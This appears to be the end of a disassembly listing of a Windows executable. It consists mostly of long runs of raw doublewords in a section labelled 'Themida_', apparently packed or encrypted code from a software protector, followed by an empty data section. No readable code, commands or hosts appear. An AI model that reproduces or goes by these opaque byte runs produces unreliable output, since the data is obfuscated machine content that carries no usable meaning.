		dd 66EC00BFh, 81C1D3BFh, 99BEB6F7h, 0E9DCB654h,	0Ch, 93689F9Bh
		dd 0F4FD108Bh, 0B8881287h, 0EE8h, 0D397A100h, 0CC37C740h
		dd 32D8B560h, 0FFF87F7h, 589h, 0D42BBE00h, 515B6BE3h, 0FB8B575Bh
		dd 0F081665Eh, 0BF66D08Ah, 0EC80D987h, 61BFF9C8h, 0E96358B7h
		dd 5, 0D67A1580h, 0D38153D2h, 3951D55Fh, 0DF8B665Ah, 0BF0F78B6h
		dd 0FF38BD7h, 5E50D0B7h, 0E828C380h, 13h, 0E1219D75h, 1FB95670h
		dd 9656C769h, 27AF56FEh, 0F23AA8Ah, 280h, 5E616000h, 0FE8h
		dd 0A6A8300h, 0BFC366C0h, 51A705F5h, 42FEEAF6h,	0FE9h
		dd 0B9EE6D00h, 14B63847h, 0E3717E69h, 4196037Dh, 0CE95Fh
		dd 2B490000h, 500A5ACDh, 3866570Dh, 0C38B1ACFh,	58B0F60h
		dd 0BE000000h, 6AF7484Bh, 0BE861h, 0F4860000h, 7E62E16h
		dd 783869B6h, 0C28166B8h, 6059628Bh, 28E0Fh, 0D68B0000h
		dd 2976D881h, 0F613025h, 0BA66F3BFh, 816071F5h,	0A98762CFh
		dd 870F602Dh, 0
aB__Yaas	db 'Ö_.šyaaé',7,0
		align 10h
		dd 9EEFD00h, 10C0843Bh,	0E2DF81FCh, 0BB106301h,	30846EFAh
		dd 0A49DB866h, 38E0Fh, 8B660000h, 0E9F1B4CAh, 0Ah, 97C3BE12h
		dd 0A9AD9C75h, 0B966B17Eh, 11E92164h, 0EB000000h, 5DD5DB7Dh
		dd 9DD427E9h, 0C9A2FCAh, 7D21E180h, 28B0Fh, 0CE8B0000h
		dd 0B9D3BF0Fh, 559B12F1h, 66F08B66h, 0BF0FD08Bh, 0CF8166F9h
		dd 0F28122F7h, 3572E728h, 68C0Fh, 0D6810000h, 353F267Dh
		dd 0D6DE8166h, 0F78166F0h, 0BF66F5BFh, 0B860A79Fh, 11E14DE6h
		dd 0BB61FA8Bh, 1FD20C32h, 0EE9F5h, 0C1F90000h, 2ADD052Bh
		dd 0D6B4AFEDh, 8B855624h, 4880Fh, 0BB660000h, 0FEB77551h
		dd 890F83B6h, 5, 1DD78166h, 0D2BF0F65h,	48D0Fh,	0BE660000h
		dd 0DF8BC3ACh, 880Fh, 0BE80000h, 53000000h, 0BF575C50h
		dd 567A9539h, 83BBE103h, 5B4634D7h, 0FE8h, 94247C00h, 6BD31081h
		dd 0E110DFE4h, 5AA43191h, 8159C38Bh, 0C2E887F3h, 0FB9B765h
		dd 1784h, 11830F00h, 0E9000000h, 0Ch, 777048E2h, 975E2BE4h
		dd 1518F866h, 1820Fh, 66F50000h, 0FC65A1BAh, 2850Fh, 8B40000h
		dd 0FDFBF0Fh, 11E9C3BFh, 3D000000h, 0F85E52DDh,	926708A0h
		dd 0ACBA8A97h, 0A692826h, 57C8BF0Fh, 0BA66F85Bh, 880F0FB5h
		dd 1, 0C88166F5h, 7E8C25Bh, 7E000000h, 1B94D664h, 0C9819754h
		dd 1CA35CFh, 8BC0B758h,	0FE8B66FEh, 11E8h, 0F22F1200h
		dd 0F355904Ah, 0A292C84Bh, 3164EF0Eh, 59F57901h, 1044CE81h
		dd 6052304Eh, 10E9F8h, 63730000h, 625F44D1h, 28D3BF71h
		dd 0AED0ACACh, 5E612FAFh, 0D172B866h, 8B66F18Bh, 80F8F9FBh
		dd 9E9BACAh, 6A000000h,	70B58835h, 42058EDAh, 8166F48Ah
		dd 6063E2D0h, 0F11CB80h, 68Ah, 7CC68100h, 61577F1Dh, 0AE8h
		dd 0A0DA9A00h, 4E5BAF5Ah, 0F55F8C9Dh, 41CE815Ah, 0F912FB9Ch
		dd 8E9h, 0B89AC00h, 1A4C3B91h, 0E6E0801Ch, 961D76BEh, 0E5BB6656h
		dd 7BE58071h, 58B0Fh, 37BE0000h, 8159E7A2h, 0B32C2E0h
		dd 14E96024h, 0C0000000h, 7B0BCB95h, 1045ECF6h,	0B663897h
		dd 0BFA92C14h, 0FEABE5Bh, 686h,	0EFD88100h, 614DB39Eh
		dd 8BD6B70Fh, 0DE9F1h, 7E880000h, 8155CE82h, 4815FEC7h
		dd 0BB5CAA7Dh, 1141C04Ah, 9E9h,	0E98FCC00h, 79867521h
		dd 0F533257h, 1283h, 0DE900h, 0A9E10000h, 0B4DD571Ah, 15C1A0Ch
		dd 5E3FAFFEh, 6B82C081h, 0B86629E3h, 9E9A924h, 7D000000h
		dd 94C747DEh, 9CF4541Ah, 1CBE66F8h, 665B50E5h, 80F5F88Bh
		dd 0BF0FC3F1h, 12E9DBh,	0B1670000h, 75D18293h, 0A7020FB6h
		dd 0B1D83A94h, 0A537E61Eh, 766AF081h, 0C18158D5h, 1676B4CFh
		dd 0A95D881h, 0E0816F94h, 4D421177h, 66D9BF0Fh,	8062F5B9h
		dd 0CE9D6F4h, 0AA000000h, 1F6016DEh, 0F82598F6h, 66D3C151h
		dd 0AE8FB8Bh, 21000000h, 0BA6E5AA9h, 594F4BC8h,	0E8B86649h
		dd 830F5813h, 2, 74B9D9B6h, 60117B95h, 0FDBB70Fh, 0E961D1B7h
		dd 0Bh,	8BF08AD5h, 1CFE5FFh, 60DB006Fh,	34F480F8h, 12E961h
		dd 9C50000h, 0A461AFC0h, 0A184FA0Ah, 0F15927D4h, 0D83A3B6h
		dd 7E9h, 0C9F33300h, 8F9FD838h,	0D771DB81h, 8B663715h
		dd 0D38B66C1h, 0ECF281F8h, 80155F60h, 0BF0F9BF5h, 0B840FC2h
		dd 0F000000h, 580h, 0C1816600h,	51B3B363h, 0EF702FB9h
		dd 57C3814Ch, 6017A971h, 8A0Fh,	0D2810000h, 6B2DAA8h, 66C18161h
		dd 0E965769Ch, 0Fh, 7EDB90B0h, 0F7F2AAF3h, 0F0B7C4C7h
		dd 8026971Eh, 89BAB4EAh, 0E80666A5h, 12h, 0B5ADF0FCh, 9CC8E03h
		dd 43E5A19h, 7227A76Bh,	8B601D03h, 830FCFh, 61000000h
		dd 5EF55158h, 3DAB53BFh, 60FE8B2Bh, 71C18160h, 616A7362h
		dd 176AB966h, 0F2816661h, 0BA603854h, 1D60FE4Ah, 6115CA80h
		dd 7E9h, 2F299F00h, 0BB6B4803h,	0FE9h, 0EDE55500h, 0DFA4D4F0h
		dd 4E2BBD0h, 40F11B9Fh,	0EE9h, 20796900h, 0E8136D71h, 0FDF7C896h
		dd 8B97DF81h, 0BF66F5CBh, 0BA661E46h, 8B661006h, 5E8FBh
		dd 34590000h, 80FE8999h, 8A585DDAh, 870F60E5h, 1, 0FE9FCh
		dd 0A05E0000h, 84B738FEh, 0CA49948Ch, 53F505D3h, 816661E9h
		dd 0E9218CCEh, 0Bh, 8A7B7F38h, 24F49CA6h, 0E9E2348Ch, 5
		dd 0AFD17C6Dh, 7E928h, 722F0000h, 0E0AB889Bh, 0F080F56Dh
		dd 0C8B360C2h, 0BE961h,	51900000h, 46C0AAA9h, 902052B7h
		dd 0C04BB92Bh, 0B70F2C9Ch, 7E9F3h, 24A60000h, 97E92DE6h
		dd 5E94Bh, 32160000h, 66FA9AF5h, 0FCD39BAh, 38Bh, 0F0BF0F00h
		dd 0E8C0Fh, 0E9500000h,	7, 38D97A06h, 5F5ED9C8h, 4830Fh
		dd 0BB660000h, 820FBE30h, 11h, 0CE9h, 5AE1AB00h, 0A642B736h
		dd 3F66E4C4h, 0F88B6620h, 0B6CDF181h, 0C38B5F11h, 6203ECB8h
		dd 5830F51h, 0B8000000h, 4C5DA526h, 9E860h, 92200000h
		dd 0CECD578Ah, 815DF18Eh, 6C2620C0h, 81665B2Bh,	6159E8F0h
		dd 6E8h, 0D1CBAB00h, 503E299Ch,	52D38166h, 8A595F9Ah, 0BFB866E3h
		dd 0D7816688h, 0EC8057C4h, 6E92Dh, 890B0000h, 0EEFDF228h
		dd 6286BA66h, 0F6DCC6BFh, 8B66F93Ch, 5860FC6h, 0B9000000h
		dd 1B0D4025h, 0BED08B66h, 654B6023h, 9E9h, 97818500h, 0EA3414B3h
		dd 8B666704h, 0FAB70FF0h, 0D7DCC781h, 14E8198Bh, 0ED000000h
		dd 0E3CBCD02h, 7388D31Fh, 9A1BB2BEh, 0B151C820h, 805A9A55h
		dd 8B5849EEh, 858AB9C1h, 8ABF694Ch, 0F1E3C14h, 880FCABFh
		dd 3, 8BCF8B66h, 0D5C080C7h, 9E9h, 8766BC00h, 0CB913BE4h
		dd 0F281F037h, 536DA1D1h, 66D18B66h, 503464BAh,	12E9h
		dd 0A0E1700h, 3DB8A28Ch, 1C9553A1h, 62483482h, 5E76BBB4h
		dd 0BF66FA8Ah, 0EB816436h, 6BEBD188h, 3840Fh, 0BF0F0000h
		dd 0BE9D9h, 362E0000h, 3B114D23h, 146424CCh, 0E9616077h
		dd 13h,	700EB31h, 934341A0h, 0D7ADAAB4h, 902C4DD4h, 0E814C7C7h
		dd 12h,	462F880h, 6C29CA1Fh, 0B537F654h, 70EC3325h, 13E9AE0Bh
		dd 3D000000h, 80EF2AC7h, 5B5961AAh, 97ACC1C0h, 61C18F34h
		dd 0F590646h, 583h, 0D0816600h,	0BA6020D9h, 5D46BD23h
		dd 0BE9h, 56D60600h, 0A28EE117h, 0B2F8B072h, 6693B461h
		dd 50FAB6BBh, 1FCFF081h, 0F85A5C47h, 0E9585160h, 8, 17810597h
		dd 0DA123962h, 0D68B6661h, 0F9AFFFBFh, 9CBE6632h, 0EE95B8C7h
		dd 40B00CD9h, 0DF8B66FCh, 0EE95E50h, 69000000h,	8B1FA19h
		dd 68CF565Eh, 69F80DA3h, 0F6BF0FFAh, 9ED68166h,	0F78B6058h
		dd 8ADA8B60h, 0E86161DDh, 6, 859AEE1Ch,	665B22C7h, 1929F281h
		dd 5860F60h, 0B9000000h, 2621ED06h, 595A5352h, 0C830F61h
		dd 0F000000h, 68Ch, 0E4D98100h,	0E93F9DA6h, 14h, 409266E1h
		dd 0E3F93BCCh, 8C1FB685h, 0C4838CA1h, 6E1BA6E3h, 0FC78166h
		dd 0D58A6079h, 6880Fh, 0EA810000h, 0F84AEBFh, 36F28161h
		dd 0E82DF9F3h, 6, 0C768901h, 11E9BDDCh,	0F7000000h, 72EA5231h
		dd 51A64908h, 40C4C2E7h, 6A51938Eh, 0E881665Fh,	10E9907Bh
		dd 46000000h, 3B25EDD8h, 0BCE2070h, 0F1F7CC3Ch,	8060FDE4h
		dd 0E8513EEAh, 6, 3EE04623h, 11E99BB2h,	59000000h, 0AD2D2228h
		dd 0B582CF10h, 6A659382h
		dd 43D077FCh, 0E9605F5Eh, 0Ch, 7B549E9h, 782D4F5Fh, 0C187F9D7h
		dd 0FBB70F61h, 0AE9h, 47447900h, 792E935Dh, 0FBAA86Fh
		dd 583h, 0EF816600h, 0B70FCA2Ch, 0BE9D2h, 0B0A60000h, 7F75608Ch
		dd 6718BA9Eh, 0AE8A2h, 0AC5B0000h, 0A6EBFFD1h, 83BF21D3h
		dd 12E95FF5h, 68000000h, 74BEDD31h, 3A0B7CBFh, 97B82C15h
		dd 3F826910h, 11E9ACh, 17030000h, 20AF1964h, 0C09A3B17h
		dd 6C0598D6h, 0F7F8B70h, 482h, 8BB96600h, 0BF0FFC3Eh, 8C0FDAh
		dd 0FC000000h, 0BF66FC60h, 81612715h, 0F540DBEBh, 890F6003h
		dd 0
		dd 68E0Fh, 8F0F0000h, 0
		dd 800FF961h, 1, 8E0FF5FCh, 0
		dd 5BF7B351h, 8B66D18Ah, 0CB8166DAh, 0E28AF025h, 66EECA80h
		dd 52E2DFB8h, 6E8h, 1D53E900h, 0F4069EEh, 5B58D8BFh, 0B0C4E681h
		dd 9E82CBCh, 8D000000h,	0D090DF64h, 2C04F942h, 66F85FF8h
		dd 0E92C09B9h, 0Ah, 222462D8h, 33F04211h, 0B86678C9h, 0D680F223h
		dd 0CA8B6615h, 3830Fh, 8B660000h, 0ACB966F1h, 569AB335h
		dd 5E9h, 6A2F5A00h, 0E9590C7Eh,	0Eh, 0A8C983FFh, 730F2D04h
		dd 7BD81417h, 14BB600Dh, 0E94DE86Eh, 0Ah, 0F2366F07h, 0B8C562ABh
		dd 820F9896h, 5, 0CD22C9B9h, 158A0F24h,	0E9000000h, 10h
		dd 0B83A18Dh, 0B30DF4D3h, 0E4DCE8Ah, 216A6840h,	12E9h
		dd 9026A400h, 0B3829531h, 1E2C1391h, 0F4D1F33Bh, 0E810DD5Bh
		dd 0Dh,	7F571Ch, 0B105074Bh, 0F46A2D21h, 0C2CA81DAh, 5A4206DEh
		dd 0E080F88Bh, 0D0F280A7h, 0FC1BF0Fh, 60B3CFB7h, 99F28166h
		dd 0FAB9665Bh, 0B97BB743h, 3D04CEEFh, 88C0Fh, 8C0F0000h
		dd 2, 0F560D58Ah, 37D68166h, 0BA666181h, 11E89989h, 0F3000000h
		dd 6E136B20h, 45AD0091h, 0B0370BB7h, 0F4CDF5F7h, 2237E081h
		dd 0FC597A11h, 0BE9h, 559EE000h, 915EDD91h, 1B01C310h
		dd 0EE9h, 8F25500h, 0E57777C9h,	38DBDA37h, 60E3516Ah, 0DE9D18Bh
		dd 0AE000000h, 882DDFD7h, 71CC569Dh, 3A4FD661h,	86B76061h
		dd 6E961F5h, 70000000h,	662E96C6h, 0F6060D1h, 8Fh, 11E900h
		dd 0CA0B0000h, 8BDCD24Dh, 7E8E85ABh, 4FF69C48h,	61A243DAh
		dd 0B70F61FCh, 0F28B66D0h, 66ECF380h, 8AE040BBh, 6820FF7h
		dd 81000000h, 47C78AC1h, 9E877h, 0E92C0000h, 497C45D0h
		dd 66B4F842h, 2B13C181h, 10BE665Eh, 81666033h, 607F33D3h
		dd 3884BA66h, 526161F9h, 0B9595857h, 6CA9ED2Eh,	0DF81C68Bh
		dd 1C4B9AEAh, 14E8h, 0D2873400h, 286E785Eh, 80D739E1h
		dd 0BA68B082h, 7F7B282h, 12E931h, 6280000h, 1806B040h
		dd 91D89AE3h, 43298BCAh, 0AAD48E7Bh, 0DA8B6659h, 0CC8AE0B3h
		dd 66FCDA8Ah, 0FC1AF381h, 0EF5AE781h, 5F530820h, 0FE9h
		dd 0A4A6A200h, 0B27B07D1h, 0C5332C16h, 93845CAFh, 2870F52h
		dd 60000000h, 0B8665F61h, 0E8F9C136h, 0Fh, 2FE9958Eh, 0F48F2143h
		dd 4DAE1E69h, 0BA9EAB6Eh, 3E9783DDh, 0D0B70F5Ah, 118C0F60h
		dd 0E9000000h, 0Ch, 798CB7B0h, 3401722Dh, 30148F41h, 61DBB70Fh
		dd 2860F52h, 60000000h,	820F5E61h, 0
		dd 77D78166h, 0FD78BADh, 38BAFAB7h, 0E90671D0h,	11h, 0A9831F93h
		dd 0D9397B64h, 7920717Dh, 0FB583DD9h, 81CA81B3h, 0B8699D47h
		dd 516D8ED7h, 0DE8h, 0CBDD2C00h, 0A964E753h, 0B62F16C7h
		dd 0B3BFCAC1h, 5828C9BDh, 0DB1EF81h, 0BF0F1047h, 0E9D78BD0h
		dd 8, 530A6F2Bh, 1184EAB4h, 12E9h, 75C9C600h, 6E20D09Eh
		dd 5C206EA0h, 7D87E547h, 60C7A55Fh, 14E8h, 0EF343700h
		dd 490A8DEAh, 0B5179A90h, 6390A885h, 69BEF85Ch,	7E970h
		dd 6F360000h, 0E4F7692Fh, 536158ABh, 0DA8B665Eh, 4B5BD981h
		dd 0DE958C6h, 52000000h, 0F0D6A89Bh, 0FC527BE7h, 0C7B2B21Fh
		dd 0E9C9BF0Fh, 0Fh, 1F29EF09h, 0ADFD2BD9h, 17660C60h, 666404F1h
		dd 8027CA81h, 13E9h, 0F977EB00h, 7467BAE7h, 318117F6h
		dd 1960C0B4h, 0B9BA7973h, 2850Fh, 0E58A0000h, 0BB6FF081h
		dd 8B0F287Ch, 2, 66FC95B0h, 600EB6BFh, 5417E0B8h, 0DE957h
		dd 76DA0000h, 0DFB8A45Fh, 57BD7484h, 61096656h,	0E8F6BF0Fh
		dd 5, 922BC81Ah, 0D0BF0F13h, 9EB8535Ah,	5B67D3EBh, 6E9h
		dd 0D13EF100h, 0F82CC99h, 289h,	0E9D3B400h, 0Ch, 4063D40Dh
		dd 8143CF37h, 0ADD949A5h, 4D092FBBh, 66D78A6Bh,	6650C3BEh
		dd 0E978F7B8h, 5, 0B027D585h, 0D88B6607h, 3F7FBBBAh, 0FE913h
		dd 0AA960000h, 3C98CA7h, 0FB5048C2h, 0A671CB0Bh, 0E68166C9h
		dd 0F534DA7h, 0E859CFBFh, 9, 0A9E4ADB9h, 0D9F02847h, 0C18B6636h
		dd 536CB259h, 235FD681h, 81590F17h, 0BC2003F2h,	0D981665Bh
		dd 0A9B06108h, 5FF85751h, 80FAB05Ah, 9E891E6h, 0A9000000h
		dd 0D7B05777h, 24E94841h, 5E49C980h, 0FED88156h, 5851A13Ah
		dd 0CA58BB66h, 2BCF8160h, 616F6976h, 38E0Fh, 0F3800000h
		dd 0CE8B66B8h, 2860F60h, 0B7000000h, 616060F4h,	860Fh
		dd 61610000h, 6E8h, 0F197DF00h,	5ABE1684h, 0AC58CA81h
		dd 8C0F454Bh, 2, 0B70FF78Bh, 5E8C8h, 25310000h,	80D00377h
		dd 0F5973EBh, 8B66D3B7h, 0D9B966C8h, 54BF664Eh,	5E92Eh
		dd 8C440000h, 808220D4h, 49B692D8h, 2100B966h, 0F5EF852h
		dd 38Ch, 8E18000h, 6671CE80h, 0FFB44B8h, 1788h,	11850F00h
		dd 0E9000000h, 0Ch, 43F847F9h, 98C174B8h, 92FA3006h, 9EC88166h
		dd 0D9B70FCEh, 5956C58Ah, 0AE8h, 5AE75900h, 741FCBCh, 6027F86Bh
		dd 9E8h, 0F4D90E00h, 0C45685C3h, 61581714h, 0BE959h, 8AA20000h
		dd 10EB21C7h, 233B6E9Dh, 0C8C0F00h, 0F000000h, 68Fh, 9DD28100h
		dd 0F1171CEh, 88Dh, 2870F00h, 52000000h, 0E903B75Ah, 13h
		dd 15BA2DF1h, 3A5B8BACh, 7DC95E45h, 0DCABF4E1h,	0E8605F12h
		dd 12h,	1E191569h, 3DD322DEh, 0F0B1329Ah, 5AAC4E48h, 5E82F13h
		dd 0AA000000h, 0B05E9A11h, 0E7CA8166h, 665F59F3h, 0D0EAF181h
		dd 0BC00D981h, 8E82CB4h, 0C2000000h, 0FD764888h, 5F17714Ah
		dd 8820Fh, 81510000h, 47F037D1h, 0BB665E11h, 66609242h
		dd 0D880C78Bh, 0BE666160h, 13E9954Eh, 76000000h, 3A22AFEBh
		dd 496C0CA6h, 1CA51252h, 0E6D7A72h, 8D0F4EA0h, 1, 0C38B66F8h
		dd 95F3BB66h, 0FCD18B66h, 0BBE38166h, 0E0816666h, 0AE9ACEDh
		dd 44000000h, 956F7C83h, 316951D0h, 11E8ECh, 0D5B90000h
		dd 0FF861363h, 8C7EEA76h, 0BD402976h, 0FC37C50Bh, 0E9D7B15Ah
		dd 0Ah,	464BB1CFh, 3B25EDD8h, 0BE82070h, 0C1000000h, 0C091AE9Ah
		dd 0D3C5A67h, 8B57F50Bh, 81595AC3h, 56D952E3h, 10E8537Ah
		dd 0C2000000h, 0A5F1C40h, 8D6EF7A3h, 64023A46h,	66D09B5Ah
		dd 931EC981h, 8166595Bh, 0F986C1DAh, 1870FF9h, 0FC000000h
		dd 12E8h, 7F361200h, 0FC6C31E9h, 6757D411h, 0AA48EC4Bh
		dd 813E2379h, 8EE6AFCAh, 66535E79h, 58BA71B8h, 0BE6660F9h
		dd 0F61B6E7h, 12BAC9B7h, 56591DAAh, 0E966CB81h,	665E6958h
		dd 50FCF78Bh, 9E9h, 0DAFF7A00h,	9FBAAF13h, 0E959BBB1h
		dd 9, 0C0BDDFE7h, 55625BD3h, 81D88BCDh,	0C9CD96D7h, 12E97Ch
		dd 3A9F0000h, 717948B1h, 0C32E7DE4h, 8A5BBB87h,	0A202C086h
		dd 13E8h, 89B48800h, 9C19F383h,	70BDCFD1h, 0A4E71352h
		dd 40A6C600h, 0AE9h, 0FA137700h, 0CBCFCF13h, 5AAE1265h
		dd 3CB866F9h, 12E9D7h, 5DEF0000h, 18B1EA8Bh, 28F113A4h
		dd 3040860Ah, 82FE2A54h, 0FE856h, 9E3A0000h, 4039A0CFh
		dd 571085ADh, 7E4FDA13h, 0DF81661Fh, 5F5B5A0Ah,	0F781C9B4h
		dd 29CB9634h, 572E61B9h, 0B0B9665Ah, 50BE6673h,	0D0816625h
		dd 0D38B616Eh, 50CABF0Fh, 1515EB81h, 565962F8h,	0FE960h
		dd 3E440000h, 45CC0A4Eh, 0D01355B0h, 264E42CFh,	0DE96Ah
		dd 68FF0000h, 6030ECF3h, 0E6ED2BA9h, 610FA4C4h,	88177758h
		dd 1B3h	dup(881777C7h),	1E0h dup(715E450Ch), 98h dup(7A548726h)
		dd 0D0548726h, 3B2h dup(0D04B816Bh), 674B816Bh,	0C4h dup(67F856E0h)
		dd 0B5Ch dup(0CCCCCCCCh), 0CCh,	257h dup(0)
Themida_	ends

; Section 5. (virtual address 001BC000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00000200 (	512.)
; Offset to raw	data for section: 001BC000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata2		segment	para public 'DATA' use32
		assume cs:_idata2
		;org 5BC000h
		dd 80h dup(0)
		align 1000h
_idata2		ends


		end start